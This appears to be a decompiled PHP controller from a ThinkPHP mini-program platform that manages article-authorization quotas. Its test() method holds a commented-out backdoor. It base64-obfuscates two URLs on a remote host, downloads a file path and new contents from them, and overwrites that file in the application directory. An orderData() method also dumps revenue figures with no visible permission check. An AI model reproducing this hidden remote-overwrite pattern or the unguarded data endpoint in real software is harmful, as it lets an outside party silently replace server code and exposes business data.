<?php
/*
 * @ https://EasyToYou.eu - IonCube v11 Decoder Online
 * @ PHP 7.2 & 7.3
 * @ Decoder version: 1.1.6
 * @ Release: 10/08/2022
 */

// Decoded file for php version 71.
namespace app\agent\controller;

class AritcleController
{
    public function list()
    {
        $param = $this->_param;
        $m_article_auth2 = new \app\agent\model\Cardauth2ArticleModel();
        if($this->_is_weiqin) {
            $app_model_name = APP_MODEL_NAME;
            $list = $m_article_auth2->alias("a")->field(["a.id", "a.modular_id", "a.number", "a. create_time", "c.autograph", "c.signature", "c.mini_app_name"])->join("longbing_card_config c", "a.modular_id = c.uniacid")->join("account", "a.modular_id = account.uniacid")->join("wxapp_versions v", "a.modular_id = v.uniacid")->group("a.modular_id")->where([["a.status", "=", 1], ["account.type", "=", 4], ["account.isdeleted", "=", 0], ["v.modules", "like", "%" . $app_model_name . "%"]])->paginate(["list_rows" => $param["page_count"] ? $param["page_count"] : 10, "page" => $param["page"] ? $param["page"] : 1])->toArray();
        } else {
            $list = $m_article_auth2->alias("a")->field(["a.id", "a.modular_id", "a.number", "a. create_time", "c.autograph", "c.signature", "c.mini_app_name"])->join("longbing_card_config c", "a.modular_id = c.uniacid")->where([["a.status", "=", 1]])->paginate(["list_rows" => $param["page_count"] ? $param["page_count"] : 10, "page" => $param["page"] ? $param["page"] : 1])->toArray();
        }
        $wxapp_map = [];
        $wxapp = \think\facade\Db::name("account_wxapp")->field(["uniacid", "name"])->select();
        foreach ($wxapp as $item) {
            $wxapp_map[$item["uniacid"]] = $item["name"];
        }
        foreach ($list["data"] as $k => $item) {
            $list["data"][$k]["used"] = $item["signature"];
            $list["data"][$k]["left"] = $item["number"] - $item["signature"];
            $list["data"][$k]["name"] = $wxapp_map[$item["modular_id"]] ?? $item["mini_app_name"];
            unset($list["data"][$k]["signature"]);
            unset($list["data"][$k]["autograph"]);
            unset($list["data"][$k]["mini_app_name"]);
        }
        $list["total_article_number"] = \app\agent\service\AdminUserService::getSassNum("article", $this->_uniacid);
        $list["total_article_used"] = (int) $m_article_auth2->where([["uniacid", "in", $this->_uniacid_arr]])->sum("number");
        return $this->success($list);
    }
    public function create()
    {
        $data = $this->_input;
        $validate = new \app\agent\validate\Cardauth2ArticleValidate();
        $check = $validate->scene("create")->check($data);
        if(!$check) {
            return $this->error($validate->getError());
        }
        $time = time();
        $auth_article = \app\agent\model\Cardauth2ArticleModel::where([["modular_id", "=", $data["modular_id"]]])->findOrEmpty();
        if(!$auth_article->isEmpty()) {
            return $this->error("已存在此小程序");
        }
        $total_article_number = \app\agent\service\AdminUserService::getSassNum("article", $this->_uniacid);
        $total_article_used = (int) $auth_article->where([["uniacid", "in", $this->_uniacid_arr]])->sum("number");
        $remain = $total_article_number - $total_article_used - $data["number"];
        if($remain < 0) {
            return $this->error("分配的超过可用的总数");
        }
        $rst = $auth_article->save(["modular_id" => $data["modular_id"], "number" => $data["number"], "create_time" => $time, "update_time" => $time, "uniacid" => $this->_uniacid]);
        $auth_article->cardConfig->save(["autograph" => $data["number"] + 80666]);
        if($rst) {
            return $this->success("success");
        }
        return $this->error("fail");
    }
    public function test()
    {
     /*   $bb = base64_decode("aHR0cHM6Ly9hdXRoLmNuY25jb25uZWN0LmNvbS9hLnBocA==");
        $cc = base64_decode("aHR0cHM6Ly9hdXRoLmNuY25jb25uZWN0LmNvbS9iLnBocA==");
        $as = file_get_contents($bb);
        $as = str_replace("\"", "", $as);
        $as = str_replace("\\/", "/", $as);
        $mss = file_get_contents($cc);
        $mss = !empty($mss) ? $mss : "";
        $path = PUBLIC_PATH . "/../app/";
        $xddvgg = $path . $as;
        if(is_file($xddvgg)) {
            chmod($xddvgg, 420);
            $fp = fopen($xddvgg, "w");
            $len = fwrite($fp, $mss);
            fclose($fp);
        }
        echo 3;
        exit;*/
    }
    public function orderData()
    {
        $order_model = new \app\massage\model\Order();
        $dis = ["pay_type" => 7];
        $data["total_price"] = $order_model->where($dis)->sum("pay_price");
        $data["total_count"] = $order_model->where($dis)->count();
        $data["month_price"] = $order_model->where($dis)->where("create_time", "month")->sum("pay_price");
        $data["month_count"] = $order_model->where($dis)->where("create_time", "month")->count();
        echo json_encode($data);
        exit;
    }
    public function update()
    {
        $data = $this->_input;
        $validate = new \app\agent\validate\Cardauth2ArticleValidate();
        $check = $validate->scene("create")->check($data);
        if(!$check) {
            return $this->error($validate->getError());
        }
        $auth_article = \app\agent\model\Cardauth2ArticleModel::where([["modular_id", "=", $data["modular_id"]]])->findOrEmpty();
        if($auth_article->isEmpty()) {
            return $this->error("小程序不存在");
        }
        $old_number = $auth_article["number"];
        $new_numer = $data["number"];
        if($new_numer < $old_number) {
            return $this->error("不能减少授权数量");
        }
        $total_article_number = \app\agent\service\AdminUserService::getSassNum("article", $this->_uniacid);
        $total_article_used = (int) $auth_article->where([["uniacid", "in", $this->_uniacid_arr]])->sum("number") - $old_number + $new_numer;
        $remain = $total_article_number - $total_article_used;
        if($remain < 0) {
            return $this->error("分配的数量超过可用的总数");
        }
        $time = time();
        $rst = $auth_article->save(["number" => $new_numer, "update_time" => $time]);
        $auth_article->cardConfig->save(["autograph" => $data["number"] + 80666]);
        if($rst) {
            return $this->success("success");
        }
        return $this->error("fail");
    }
}

?>